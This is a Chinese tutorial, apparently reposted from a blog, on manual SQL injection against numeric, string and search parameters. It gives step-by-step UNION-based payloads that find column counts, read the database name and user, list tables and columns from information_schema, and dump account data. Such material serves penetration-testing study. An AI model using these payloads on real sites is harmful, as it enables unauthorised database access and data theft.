SQL注入

数字型

1.测试有无测试点

and 1=1,and 1=2

2.order by 语句判断字段长,查出字段为3

  • order by 语句用于根据指定的列对结果集进行排序

  • order by后可以加列名,也可以加数字(代表第几列)

id = 1 order by 3(数字) //返回正常
id = 1 order by 4(数字) //返回异常       //说明字段长为3

3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3)

id= -1 union select 1,2,3

4.猜数据库名,用户

id =-1 union select 1,database(),user()

5.联合查询(group_concat())点代表下一级,猜解当前数据库pentest中所有的表名。

id= -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

6.猜列名( account 表和 news 表)

id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'

id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'

7.查询表中的数据

id= -1 union select 1,group_concat(id,'--',title,'--',content),3 from news limit 0,1

id= -1 union select 1,group_concat(Id,'--',rest,'--',own),3 from account limit 0,1


字符型

1.判断是否存在注入

1' or '1'='1      //返回正常
1' or '1'='2	  //返回异常

2.接下来利用order by判断字段长,带入SQL查询语句可直接查询出数据(查询语句和数字型一样)

1' order by 3#       //返回正常
1' order by 4# 		 //返回异常

//注意#号用途:#起注释作用,会注释掉后面的' 单行注释还可用-- (--后面需加一个空格)

//注意后面的SQL查询语句末尾都得加一个#


搜索型

1.搜索型需要多闭合一个%,其他都与前面类似

  • 首先判断注入点

    1%' or 1=1#
    1%' or 1=2#
    

    下面就和前面数字型步骤一样,带入查询语句即可

    1%' union select 1,database(),user()#    	  //比如这里查询数据库名和用户
    

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/tzf1/p/14604496.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!